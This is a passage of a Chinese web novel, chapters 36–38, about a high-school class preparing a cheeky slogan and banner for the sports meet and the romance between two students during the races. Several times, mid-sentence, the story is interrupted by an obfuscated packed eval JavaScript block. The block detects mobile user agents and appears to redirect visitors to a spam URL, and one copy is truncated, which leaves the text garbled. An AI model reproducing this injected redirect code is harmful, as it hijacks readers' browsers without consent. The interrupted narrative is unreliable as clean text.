沈瑜用两颗糖平息了即将爆发的纷争。 “看在我同桌的面子上,我不和你计较。”于落落恶狠狠道,“你放学给我小心点。” “哼。”季知节吐了吐舌头,“老地方见,谁不来谁是狗。” 张镜:“……” “所以你有什么想法吗?”看着这里为数不多的正常人,张镜对着沈瑜问道。 结果下一秒就发现看着正经的某个人又偷偷塞了一颗糖给他的前桌。 “……” 算了,我自己来。 张镜无奈。 —— 季知节看着李化腾在黑板上写下一个个口号。 三班最强,斗志昂扬,乘风破浪,力创辉煌 …… 季知节看着这些话,真诚发问:“请问你这些和我想的有什么区别?” 张镜面不改色:“我的比较有文化内涵。” 都是四字词语凭什么你比我高贵? 李化腾拍拍手上的粉笔灰,“我们暂时先有了这些口号,如果还有新的我们可以提出来,今天我们来把口号定了。” “不够帅啊。”这是以周博承为首的中二青年,代表人员有于落落、陆谦等。 “能说出口挺好的。”这是以沈瑜为代表的务实派,张镜、季知节点了个赞。 班级顿时变成了菜市场,你一言我一语的说着自己的想法。 “比起你一个难搞的甲方,一个班的甲方更恐怖一点。”季知节低声吐槽。 “众口难调我也很不容易的好吧。” “我可不想到最后站在方阵前面喊什么宇宙最强,有点羞耻。”张镜无奈道。 “你的文学素养呢?找几个高深莫测的词塞进去。”季知节怂恿。 “我怕有人听不懂。” “毕竟七月流火都能被用到盛夏。” 不久前文学常识题里面选错的的周博承、沈瑜、季知节忽然安静。 又扫射了呢我的姐。季知节暗戳戳控诉。 “老师!口号一定要这种形式的16个字吗?”教室的一个角落突然有人举手问道。 班级里忽然安静了下来,被问话的李化腾反倒一愣,看了眼写在黑板上的排列整齐的口号,突然笑了一下。 “16个字是一中自有运动会以来的习惯,每一届运动会每个班的口号基本都是16个字。”说着李化腾顿了一下,“但是确实,没有任何一条规定说口号一定要有四个四字词语构成。” “那我们可以用别的句子嘛!” “‘高一三班真是妙,我们都是好宝宝’这种。” “好恶心,为了押韵无所不及啊你。” 李化腾看着明显更活跃的学生,轻咳一下:“太离谱、太过分的不行。” “打油诗的形式……”李化腾刻意停了一下,看着底下满怀期待的目光,“可以。” “万岁!” “那分角色呢!”于落落很快举手,“比如男生喊一部分,女生喊一部分这种,比较有层次。” 李化腾思索了一下,“我没有看到过这种,但是,我觉得可以。” “我想拉横幅诶!那种红色的一条,很帅啊!” 李化腾挑眉,“如果全票通过,我们可以试一试。” “李老板这么好说话吗?”眼看着连简简单单一个开幕式都要搞得令人眼花缭乱,季知节难以置信。 张镜看着明显不受控制的气氛,一脸无奈,“主要是摸清楚底线了吧,那天陆谦他们踹人他都当没看见,周博承撞坏医务室的门也被压下来了。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14544203|152907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 连夜做对策、还有那天和你道谢。” “都知道他是一个很好的老师之后,大家都不那么怕他,愿意讲话了。” 季知节恍惚地看了一眼讲台,看着明显乐在其中的老师,没忍住笑出了声。 原来您也,挺幼稚的啊。 “能自己买班服吗?” “这个真不行。”李化腾叹了口气,惋惜道,“开幕式的时候穿校服是明文规定。” “啊~” 听着学生们响亮的惋惜声,李化腾没忍住笑了一下,“开幕式之后就能穿自己的衣服了。” 张镜倒是松了一口气。 季知节好奇地问:“你不想穿班服吗?” “想。”张镜倒是没犹豫,“但是万一这次的班服是什么眼花缭乱的表演演出服,再加上红色横幅,我会以为我在参加什么商场的剪彩仪式。” 想着一个比一个奇怪的要求,季知节忽然后怕地拍了拍胸口,“不过应该没有那么离谱的事情吧。” “哎。”后方突然传来了一道叹息,“本来还想说如果可以的话,我们直接cosplay好了,超级英雄往那一站,不比我们都赢了。” “……” 季知节张镜对视一眼,突然双手合十,在心中感谢订下这个规矩的领导。 防的就是你这种人啊!落落同学。 可操作的空间变大,意味着操作的难度也变大了,李化腾看着一时半会无法讨论出来的口号,开口阻止,“那有想法的同学在今天结束之前把自己想到的口号和形式汇总给班长,我们明天再决定。” “我们再来确定一下后勤人员。” …… 一节课全都拿来讨论运动会的相关事宜也就意味着运动会近在咫尺。 季知节喜提写加油稿一职,张镜泽需要和几个人轮流看管后勤物品,例如水和零食,没有项目在身的让基本上都分到了一点任务。 “我要回去多抄几份加油稿。”季知节低声道,“然后改一改,直接拿去用。” “你就不能自己想吗?”张镜恨铁不成钢,“多好的锻炼文笔的机会。” “我们写的是议论文又不是抒情散文。”季知节振振有词,“难不成我上去就是爱迪生曾经说过吧啦吧啦吗?” “你议论文的例子也只有爱迪生了。”张镜叹了口气。 “……在背了在背了。”季知节讪讪道。 沈瑜忽然戳了戳前面的人,“你加油稿不打算自己写吗?” “啊。”季知节看着忽然发问的少年,忽然有些不好意思,“大概率吧,我写也可能只会写什么红色的跑道上,奔跑的身影这种。” “那你要我帮你抄一点吗?”沈瑜狡黠道,“你改一改,到时候就能有更多玩的时间了。” “!”没想到男孩会提出这个提议,季知节可耻地心动了一秒,最后忍痛拒绝,“不了,本来就不够真诚了,还要你帮忙我也太不要脸了。” 沈瑜失笑,哪有自己说自己不要脸的:“运动员在场上基本上听不到什么的,几乎只能听见自己的名字,所以加油稿里面出现名字就已经很最好的加油了。” 于落落看着一点都不觉得有问题的沈瑜,勾勾手指让张镜过来:“他俩狼狈为奸。” “你俩也不遑多让。”季知节抱着胸口,看着明目张胆做小动作的俩人,眼神凉凉。 沈瑜颇为赞同的点头。 36. 第 36 章 该说不说物以类聚,人以群分。 在搞事这条路上,三班人不需要商量就一拍即合,确定下来的口号一点没透露出去,即使在体育课上和四班一起练习方阵也闭紧嘴巴绝不泄漏。 口号就关上教室门偷偷练习,横幅不到运动会当天绝不拿到学校。 汪俊怎么打听也没打听出来。 “在一些奇奇怪怪的地方自尊心很强的类型。”张镜锐评。 于是在这样紧锣密鼓地日程中,所有人扳着手指头数着日子,迎来了秋季运动会。 秋季运动会是一中第一学年最大的盛会,规模大——全校师生共同参与,从高一到高三,甚至还有老师组的比赛;持续时间长——运动会从开幕式开始到闭幕式颁奖横跨两天半,且通常选择在周三开始,这就意味着周五上午结束,下午就能迎来双休;奖励丰厚——每一个项目的前三名都有学校精心制作的奖牌,总分前三的班级除了有奖杯之外,更是有一小笔奖金,不多,但是基本上够全班同学加餐一顿。 而三个年级中,高一年级组又最为重视运动会,因为高一是唯一一次各班都有可能拿到第一名的时机;到了高二,总分第一名几乎都被艺体班所垄断,其他班级几乎只能争夺第二名和第三名;高三更是心无杂念,运动会只是大型放松现场。 也不是馋那点奖金,能拿第一谁愿意当第二名呢。 这是一个万里无云的周三,甚至于气温都有所回升,不知道是太阳在勤勤恳恳地工作,还是火热的氛围造成的局部气候变暖。 “知知,快帮我别一下号码牌!”于落落拿着几个别针苦哈哈。 “好啊。”季知节欣然接过,示意于落落转过身。 仔细别好号码,季知节一抬头就看见前面大排长龙。 于落落偷笑着跑开。 季知节看着排在队伍前方的沈瑜,有些无奈:“你和周博承不可以互相别弄一下吗?” “我怕他扎我。”沈瑜一脸真诚,“我可是尊贵的运动员。” “就是就是。”周博承从后方探出脑袋,“我信不过他。” “……”季知节无奈,接过别针和布,“转过去。” “好哦。”沈瑜异常乖巧,脱下校服外套,原地就转了过去。 白色的号码簿上写着“010305”,季知节扯衣服的手动作一顿,忽然笑出了声:“你这是什么等差数列吗?” 沈瑜显然知道季知节在说什么,也跟着笑了一下,“一些天生数学体质罢了。” 男孩只穿了一件薄薄的T恤,衣角还在季知节手心,胸腔微妙的震动顺着衣服的纹理直达女孩掌心。 季知节忽然觉得衣服有些烫手,女孩板起脸想让自己专注在手中的事情上。 低头凝神之际,鼻腔中清新的洗衣液的味道忽然明显了起来。 这是一种淡淡的、又异常熟悉的味道,熟悉到季知节现在才发觉这竟然是眼前这个人身上散出出来的气息。 季知节默不作声地别好号码牌,细心捋平褶皱,开口问道:“你用的是什么牌子的洗衣液啊。” 沈瑜听到从后面传来的询问,略有些惊讶,但还是说出了一个品牌的名字。 果然。 季知节拍了拍手。 “好了,下一个。” 是她独居后,一直买的、刻在了她所有的衣服被子上面的味道。 没理会周博承的挤眉弄眼,季知节相当利索地别好,就看向了有些害羞的张嘉欣,季知节笑了笑:“过来吧我们课代表。” 沈瑜看着不知什么时候混入到其中的梁子笑,皮笑肉不笑:“朋友,我帮你吧。” 梁子笑犹豫了一会,看了看正低头忙着的季知节,最终还是屈服在了那声朋友之下,“好的朋友。” 沈瑜:“……” “你这是什么业务啊。”从办公室回来的张镜看着不停忙碌着季知节,调侃道。 “不好意思就是这么受欢迎,人人都拿着爱的号码牌在等我。”季知节头也不抬,快速解决一个,开始接待下一个。 张镜赞叹于眼前女孩的厚脸皮,随即不管。 “周博承你带着几个人搬几个桌子下去吧,我们放东西,孙宇,我们来搬水什么的。” “没事的同学都来帮一下,我们直接去操场集合。” “好嘞。” “我得把书包带下去。”于落落背起自己的书包,笑得神秘。 “带什么宝贝了?”季知节随口一问。 “大宝贝啊。”于落落挑挑眉,“好东西。” —— 操场上遍地都是布置自己阵地的学生们,仿佛战争已经从这一刻开始打响。 张镜看了一眼正低声讨论着要把横幅挂在桌子前的同学们,后悔的情绪姗姗来迟。 “我们真的要喊那个口号吗?这个横幅一定要弄吗?”张镜头疼,“我觉得还不如宇宙最强呢。” 季知节耸肩:“临门一脚了都,还都掐表练过,不挺好的嘛,有典故、有诗句、还中二,满足所有人的要求。况且横幅不还是你联系的吗?还返工了一次。” “标点符号错了不返工才奇怪好吧,一个逗号都能印错真的绝了。而且满足了所有人的要求才更不伦不类好吧……” “安啦。”季知节拍了拍有些无奈的张镜,笑得眉眼弯弯,“多好玩啊,正是光明正大能中二的年纪。” “我记得你之前还站在我这边的吧?”张镜叹了口气,“这就变卦了?” “嘿。”季知节歪头笑了笑。 已经走到操场中间的于落落看着还站在原地的人,脸上都是恨铁不成钢,双手拢在嘴边,大声喊道:“快点啦,要整队啦!” “来啦来啦!”季知节拽住还在纠结的张镜,拉着女孩就往队伍的方向跑去,就这样抱着阳光,和朋友撞了个满怀。 有些秃了头的校长站在高高的主席台上致辞,周博承不知什么时候成了运动员代表上去宣誓,在主持人的推进下,流程逐步规范。 “高一年级组准备走方阵了。” “一班先过来。” 季知节深吸一口气,慢慢跟着队伍向跑道上移动。 “迎面向我们走来的是高一一班,他们迈着整齐的步伐,他们带着青春的朝气,他们带着不可抵挡的锐意向前进,让我们期待他们在运动会中披荆斩棘,共创佳绩。” “一班一班,同心协力,携手共进,勇夺第一!” …… “横幅呢横幅呢,第一排的人拿着。” “周博承好好喊!时机把握好!” “快快快,到我们了!” 在音乐声和报幕声中,季知节眼前的视线逐渐开阔,暗红色的跑道仿佛只剩下了自己和身边的同学。 呼吸、迈步、摆臂。 “迎面向我们走来的是高一三班的队伍,他们……” 主持人的话还没讲完,现场忽然一片哗然, 海拔傲人的周博承走在最前方,手中高高的举着班牌。 间隔不到两米的第一排的学生大咧咧地拉着一条横幅,红色宽大的布幅上黄色印刷字体刺激着所有人的眼球。 “你们好,手下败将们” 礼貌,但嚣张。 “我去,为什么他们可以拉横幅!!我们怎么没想到!” “靠,太嚣张了吧!想打人!”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14558105|152907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “今年高一这么会玩吗!” …… 显然被刺激到的不止学生们,主席台上的老师们都在议论纷纷,拿着流程稿的主持人也有点卡壳,介绍词都慢了一拍。 眼看着马上要错过最佳时机,周博承没理会广播里的声音,气沉丹田,大吼一声:“高一三班!” 接上去的是高一三班气吞山河般的回答: “少年自有凌云志 横刀立马定山河 扶摇直上九万里 桂冠必定在我手!” …… 很显然,开幕式的主角,变成了高一三班。 “为什么他们的口号都是七个字的!” “太贼了吧!” “突然觉得我们的好一般啊。” “显眼包……” 主席台上,领导拍了拍正在录像的李化腾,实在没忍住,笑道:“这是你们班吧?还挺活泼的。” 李化腾目送着学生们走出跑道才按下停止键,笑呵呵道:“小孩子们嘛,热血一点正常的。” 看似平静地走完全程、走到班级的位置,所有人忽然都瘫了下去。 “我靠,我们真的喊出来了啊!” “我听到有人骂我们显眼包了!” “谁!揍他!” 张镜心有余悸地拍了拍胸口:“还好领导没下来阻止我们。” “不会啦,李老板还在上面拍照来着的。”于落落笑嘻嘻的,“我看到好多老师都拍照了。” 季知节看着一班二班方向举起的手机和已经被挂起来的横幅,“我们这要变成打卡点了。” “挺好挺好。”于落落拉开书包拉链,从包里掏出来个大家伙,“我也要拍照。” 季知节猜到了于落落会带相机,但是实在没想到带了个这玩意。 “你疯了吗?”季知节看着相机上H开头的字母,一脸震惊,“你这玩意要是摔了咋办。” “哦,你知道?”于落落完全没在意、反而兴致勃勃地看着季知节,“我还以为你们不了解相机的牌子呢。” 季知节:“……” “这很贵吗?”张镜有些奇怪地打量着于落落手中的相机,实在没看出来这个和其他的相机有什么区别。 季知节面无表情地伸出了一只手。 “五千?”张镜猜测,“那也还好吧。” “换个单位。”季知节言简意赅,“而且是裸机,不含镜头。” 张镜:“……” “这一套下来……”季知节默默伸出了第二只手。 周边听到的人默默和张镜一起往后退了一步。 于落落身边形成了一段真空地带。 “不至于不至于。”于落落哭笑不得,“你怎么这么清楚啊,我都不太清楚来着,这是我舅舅送的,这牌子还没御三家来得出名好像。” 季知节忧郁地看了一眼女孩,沧桑叹气。 这不都是托了您的福啊,之前生日的时候想给你送相机,就去了解了一下,赚的那点钱还不够给你买个镜头的,最后还是和张镜合资买了一个。 “因为它贵啊。”季知节幽幽道,“看一眼就记住了。” 真的是平时于落落表现得太过接地气,让人忘记其实这位家里实在小有资产,不然怎么能数十年如一日地支持女儿去追梦。 “这只是一场运动会,不是什么摄影棚也没有什么大自然的鬼斧神工。”张镜一脸真诚,“你带这个祖宗干嘛。” “我也不想啊!”于落落冤枉,“我的相机只有这一个啊!其他的都是我妈的!我爸不让我动,这玩意还不能录视频呢。” 季知节:“……” 37. 第 37 章 先不论于落落有多嫌弃这个不能录视频的祖宗,但是一分钱一分货这句话确实是有道理的。 季知节看着显示屏上的照片,无法不感叹,“这也太高清了吧。” “早知道我就偷偷化个妆再拍集体照了。”蹲在一起欣赏的卓文君点评到。 思虑到运动会项目正式开始之后整个班很难聚齐,张镜组织着所有人一起拍了一张集体照,就站在那条嚣张的横幅后面,掌镜的是从隔壁拉来的手下败将之一——林子期。 林子期只觉得三班人不可理喻,但是还是骂骂咧咧地拍完了照片。 把相机还给于落落的一瞬间,周博承在他耳边碎碎念道:“这个相机十万诶,你没弄坏吧……” 林子期手一抖,慌忙看向自己已经空了的掌心,撇清关系,“我还你了啊!” 于落落没好气地瞪了一眼周博承,“你别听他的,谢谢你啊。” “不客气不客气。”对待女孩子,林子期还是相当绅士的,随后又看向季知节,“我们那边挺多零食和水什么的,你可以去拿点吃的。” “张安安也在那块。” 季知节没想到林子期会专门和自己说话,愣了一下,听到张安安的名字随即了然,没有直接拒绝,女孩笑着答应了。 临走之前还对周博承做了个挑衅的手势。 周博承当然是挑衅了回去。 “你要是再到处宣扬相机的事情,我就不拍你了。”于落落等着林子期走远,恶狠狠威胁道,“我去拍林子期去。” “别啊。”刚刚还嚣张的脸一瞬间垮下来,“我还想有人生照片呢。” “哼。”于落落冷哼一声,“第一个项目是什么来着。” “女子100米预赛。”沈瑜拿着项目名单,“然后是男子四百米预决赛。” “女子100米预赛的时候,刚好测男子跳远。”季知节凑过去一起看赛程,沈瑜见状把右手手中赛程表向旁边倾斜了一点。 “那你要比赛了诶。”季知节抬头,不期然被阳光晃了一下眼睛,回过神来恰好撞上了少年还未移开的视线,少年手中的A4纸被微风吹得扬起一角,沈瑜抬起空着的左手,挡住了照在女孩脸上的阳光。 “对,你要来看吗?” 眼前突然暗了下来,少年带着笑的声音在耳边响起。明明没有了阳光的直射,季知节却觉得脸部的温度在升高,佯装没有注意到少年的动作,季知节悄悄后退一步。 “我给张嘉欣加完油就去。” 季知节转头就去寻找张嘉欣。 看着季知节离开,沈瑜放下举着的左手,正准备翻阅赛程表,就看见眼前怼过来一个显示屏。 “三颗棒棒糖,你姐姐做的那种。”于落落胸有成竹地开口。 显示屏中少年带着笑意的眼眸低垂着,视线落在比自己矮了一些的少女脸上,高抬的左手阻断阳光的直射,少女带着惊讶的目光对上少年,耳垂处微微泛起的红色在光下更显可爱,几乎要碰在一起的脚尖和相同的蓝白校服在画面中显得亲近又暧昧。 “……成交。”沈瑜当机立断,把手中的赛程表塞给周博承,“明天带给你,我去检录。” “啧啧啧。”于落落看着相机里面的画面,再看看远去的沈瑜已经泛红的耳朵,自吹自擂道,“我真是个天才。” 张镜欣赏着照片:“真好看,但是我还是要和知知讲。” “……”于落落忍住骂人的冲动,不情不愿道,“分你一颗。” “成交。”张镜愉快地和于落落击了个掌。 班长大人,食物链顶端的伟大存在。一旁的周博承感叹道。 —— “高一组第一个还是第三个啊。”发现张嘉欣一个人坐在台阶的角落,季知节自然而然在张嘉欣旁边坐下。 “应该是第一个。”张嘉欣抽了张纸巾给季知节,“你要垫着嘛?” “校服裤啦,无所谓的。”季知节摆摆手,却还是接下了纸巾,“一会在终点等你的时候给你擦汗用哈,我就借你的花给你了哦。” 张嘉欣含羞地笑了笑,“你要在终点等我吗?” “当然了啊。”季知节一脸理所应当,“你可是在为我们班争光诶,当然要等你啦。” “不过你的加油稿我写得一般般,你就假装听一下哈。”季知节一脸苦恼。 “我听别的班的说,都是抄的。”张嘉欣不熟练地宽慰道,“你站在终点就给我加了很多很多油了。” “你真可爱啊。”季知节感叹道,尤其是和于落落已经张镜比起来,简直是三班最后的良心,“我太喜欢你了。” 张嘉欣显然没怎么接收到过如此直白的爱意,一张小脸顿时通红,说话都有些磕磕绊绊。 “你也很可爱啊,我也喜欢你的。” 季知节笑眯眯地看着害羞的女孩,伸出手,“走吧,我陪你检录去了,广播在喊了。” 张嘉欣定了定心神,手搭上季知节泛着暖意的手掌,“好啊。” …… 送张嘉欣过去检录之后,季知节来到了100米赛道的终点。 “她在第几组啊?”于落落端着相机,看着季知节问道。 “第一组。” 周博承远远观望着着快要站到跑道上的人,放松道:“第一组好像没有体特,压力会小一点。” “但是全场第一个项目,又是我们班第一个跑的,希望她别太紧张。”沈瑜把手上的水塞给季知节,“刚刚顺手拿的,你一会给课代表吧。” 手中的矿泉水还带着微微的热度,季知节不自然地换了只手,“你怎么不去检录。” “高三的先跳,高一组最后。”沈瑜像是没看见季知节的不自然,低着头解释道。 “别聊了!小张同学上跑道了!”于落落打断聊天,兴奋道。 起点处,其他跑道的人多多少少换上了自己的衣服,为了跑步方便,甚至有人换上了短裤,这更显得张嘉欣夏季校服和校服长裤格外显眼。 季知节踮着脚朝女孩挥手,比了个加油的手势。沈瑜在后方不动声色地虚虚环绕着女孩,见到季知节双脚踩实地面才放下手。 终点处的人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14567095|152907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 越来越多,人与人之间的间隙也越来越狭小,于落落为了拍照不知何时已经钻到前排去了,熟悉的味道再次环绕女孩,季知节还没来得及反应,就听见一声木仓响,第一组比赛开始了。 “啊啊啊啊啊!欣欣加油!!”季知节不顾其他,朝着在赛道上奋力奔跑的人呐喊着。 “我去,课代表跑步那么快嘛!”周博承看着明显占据第一位的女孩惊讶道,“看上去很腼腆的一个女孩子啊。” 沈瑜没有回答他,低头看着蹦来蹦去就是不老实站着的女孩略有些无奈,但是注意着隔开她和周围的人,避免碰撞。 跑道上,张嘉欣忽然肆意地笑了,她看到于落落端着相机半跪在裁判身边不停的按着快门,她看见张镜不复冷静,大声呼喊着她的名字,她看见季知节站在终点处不断跳起,又不断喊着加油,然后,她带着红色的冲刺带,在周博承的鬼哭狼嚎声中,一头栽进了季知节的怀抱。 强大的惯性让季知节不禁往后退了一步,也仅仅只是后退了一步。 后方传来的支撑阻止了季知节后退的趋势,让女孩得以牢牢抱住前面的姑娘。 “欣欣!!!”季知节来不及思考后方的情况,看着喘着气的女孩,尖叫道,“你太帅了呜呜呜!啊啊啊!第一名啊!” 张嘉欣看着面前的女孩,脸上挂上了从未有过的灿烂笑容。 “还只是小组预赛呢。” 季知节不管,季知节夸赞:“那也很帅啊!绝了!你嗖地一下就飞过来了!” “开门红!恭喜!”张镜在一旁鼓掌。 张嘉欣被逗笑了,抬头正想说什么,却在在看到女孩后方站着的少年时了然一下。 “我先去登记成绩。” “好哦。”季知节显然还没从张嘉欣帅气的姿态中回过神,恋恋不舍地放开女孩。 “哇镜子你看见了没有!”季知节拍着张镜的手,激动地满脸通红,“真的帅死了!而且你看!欣欣甚至穿的校服诶!感觉好像扫地僧!” 张镜也很激动,但是她明显比季知节要冷静,扯开季知节逐渐用力的手,“看见了看见了。”不止我一个人看见了。 张镜瞥了一眼从刚刚就没有说话的少年,煽风点火:“欣欣真的好帅啊!” “就是啊!”季知节把矿泉水贴在脸上试图降温,“真人不露相啊。” 忽的手上一空。 季知节顺着力道转头。 沈瑜轻轻抛起矿泉水,在女孩的目光中稳稳接住,笑得一脸无害:“我突然有点渴了,不好意思。” “啊。”季知节眨了眨眼,莫名感觉后背发凉,“那您喝?” 沈瑜轻哼一声,揽着周博承就往沙池的方向走。 “啧啧啧。”张镜摇头,“世风日下啊,当众抢劫。” “抢劫?劫啥?劫财还是劫色?”端着相机的于落落忽然出现,好奇道,“谁这么倒霉,让我见识见识。” 季知节:“……”闭嘴吧姐姐。 “我写祝贺稿去了拜拜嘞您。”季知节绝情转身,挥挥手不带走一片云彩。 38. 第 38 章 张嘉欣小组预赛第一的祝贺稿最终是季知节用张镜的背做桌子写的,纸用的是揣在口袋里面便利贴,笔也是早就揣在了校服口袋里。 季知节不想一直坐在原地写稿,在知道负责加油稿之后,季知节就做好了巡回写稿的打算,至于桌子,逮到谁就是谁,主打一个开盲盒。 “你没故意报复我吧?”张镜半信半疑地脱下校服外套,仔细查看着有没有墨水的痕迹。 “我是那种人吗!?”季知节眼睛都没有飘忽一下,目光坚定得像是下一秒就要原地飞升。 “你最好不是。”实在是没有检查出来,张镜只好把衣服又穿了回去,但仍旧狐疑地看着女孩。 “哎呀。”季知节推着张镜的背往主席台走,“快点啦,交稿子去啦。” 于落落挽着已经登记完成绩的张嘉欣偷笑,等到张镜和季知节转过身,于落落示意一无所知的张嘉欣注意张镜的后背。 一张画着鬼脸的便利贴出现在了刚刚季知节拍过的位置。 “幼稚吧。”于落落低声吐槽,眼里满是笑意,但是看样子是完全没打算揭穿,甚至还抬起相机拍了一张照片。 一个长发,一个短发,穿着同样校服的女孩勾肩搭背,短发女孩背上的鬼脸相当嚣张地冒着气泡,气泡内黑笔加粗:I‘mpig. 似乎是料到于落落会拍照,在远离张镜的一边,季知节悄悄在背后比了个“V”。 张嘉欣看看身旁的于落落,把那句“你们其实半斤八两”咽回肚子,乖乖点头。 —— 季知节交完祝贺稿本想磨蹭一下,却被于落落和张镜拖到了沙池旁。 “又不是只有沈瑜一个人报名了三级跳。”于落落振振有词,“麻烦你发挥一点同学爱行不行。” 季知节:“……” 说不清到底是被强制拉过去的还是半推半就,季知节总归是站到了沙池旁边。 在等候区热着身的沈瑜不知何时换上了一条宽松的黑色运动短裤。 “靠,好白好细的腿。”于落落啧的一声,“服了,能不能给我。” 季知节也不自觉把目光移到了少年的腿上,本就白皙的小腿在黑裤子的对比下显得更加白净,小腿上覆盖着一层薄薄的肌肉,线条优美而匀称。 好像很好摸的样子…… 脑海中的念头只是一闪而过,但是足以让季知节脸红心跳更加不敢直视少年。 但是沈瑜还是发现了出现在赛场旁的少女,在和身边人打过招呼之后,沈瑜迈开步子向女孩走来。 行走时小腿略微发力,轻微绷起的肌肉显得格外性感。 “你脸怎么红了?”沈瑜本想说的话被少女通红的脸打乱,话里话外都是担心,“很热吗?要不要去歇一会,小心不要中暑了。” “都快十一月了热啥?”于落落拖长语调,看着目光乱瞟,就是不落在沈瑜身上的某人,“就是心虚。” 季知节拧了一把于落落的腰,皮笑肉不笑,“我心虚,你肉倒是挺实的。” “……”于落落果断转向张镜,“她骂我!” 张镜充耳不闻,看向沈瑜:“这个能跳几次啊?” 沈瑜看了一眼红色逐渐消退的季知节,回答道:“两次,取最高成绩。” “有把握吗?”季知节不敢低头,只能佯装正经,没话找话。 “试试看吧。”沈瑜耸肩一笑,“应该是帅不过张嘉欣了。” 季知节眼前人奇奇怪怪的胜负欲惊呆了,一时不知道从哪里开始吐槽:“……你是小孩子吗?” 听到熟悉的吐槽,沈瑜忽然笑开,看着少年的笑容,季知节也反应过来这句话有点耳熟。 好像不知不觉又回到了之前的时候。 季知节一晃神,就看见沈瑜笑着后退了几步,“要到我了,我先过去啦。” 少年的眉眼本不算温和,不笑时单眼皮带来的疏离感容易让人望而却步,可是此刻,少年白皙的脸庞和布满笑意的眼睛在阳光下显得竟然有几分可爱。 于落落看着周围不断聚焦在沈瑜身上的视线,略微挑眉。 少年似乎完全没有注意到落在自己身上的视线,只是笑着向女孩挥了挥手。 “蓝颜祸水。”于落落朝张镜做了个口型。 张镜深有同感地点头。 “你跳远的加油稿写了?”张镜戳了戳季知节,好奇道。 季知节收回视线,不自觉了捏口袋里的便利贴,“林江哲说他想写田赛的。” 林江哲比张嘉欣还要腼腆,当他主动开口说要写田赛加油稿的时候,季知节也吓了一跳,实在不好拒绝,就答应了。 能少写一点还要轻松一点,季知节这般告诉自己。 于落落站在旁边拍着跳远的照片找手感。 “我一定要拍张厉害的去敲诈他。”于落落端着相机兴致满满。 拍照…… 季知节忽然想起什么,犹豫了一下,从口袋里掏出手机,目光落在相机APP上。 于落落看见季知节的动作,眼睛咕噜一转:“你要拍吗?” 季知节瞥了一眼不怀好意的于落落,还没说话,手中就被塞了一台相机。 “相机给你,刚好我嫌它重死了。”于落落把季知节的手机拿到手里,“我给你下个APP,照片一会儿能直接导到你手机。” 于落落:“你下载密码多少来着?” “你试试她生日。”张镜在一旁指点。 输入年份再输入1230。 于落落看着跳出对勾的界面,感叹道:“你这个密码有点太简单了吧。” 季知节:“……”其实你们可以直接让我刷脸。 不理会这两个自说自话的家伙,季知节低头摆弄着手中的相机,大致摸索了一会,季知节扶好机身,缓缓抬起镜头,小巧的显示屏上多出了少年的身影。 从模糊到清晰。 仿佛是察觉到了什么,少年恰好转头,眼睛微微弯起,眉眼如画。 咔嚓。 透过屏幕,季知节和镜头下的少年对上了视线。 于落落看着一直被举着却没有被按下快门的相机,刚想开口,就被张镜捂住了嘴巴。 张镜努努嘴,顺着望过去,季知节 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14582508|152907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的耳根不知何时泛了红。 “哇哦。”于落落无声感叹。 季知节自然不知道两个人背着她做了些什么,借着相机的掩护,女孩平缓着不正常跳动的心脏。 蓝颜祸水。季知节红着耳朵暗暗吐槽。 骂归骂,拍照还是要拍的。 季知节乖巧地站在沙池边,同样拍着不认识的人找手感。 跳进沙池的人换了一个又一个,欢呼声鼓掌声一阵接一阵的响起。忽然,女生的惊叹声大了起来。 季知节似有所感,把镜头转向起点处。 “果然不是我一个人觉得那双腿不该在男生身上啊。”于落落低声说道,示意季知节看不远处凑在一起低声聊天的女孩们,“我敢打赌,她们也在聊。” “……你是变态吗?”季知节没有放下镜头,却也没有停止吐槽的欲望。 “我只是在欣赏。”于落落双手抱胸,“完全没有恶意的那种,我又不想摸。” 季知节:“……”变态竟是我自己…… 没有在意到季知节异常的停顿,于落落和张镜的视线投向了已经奔跑起来的沈瑜。 三级跳并不像普通的跳远,就像周博承演示过的那样,它有着规定的动作步骤,对于不熟悉的人而言,一不小心就会犯规出局。 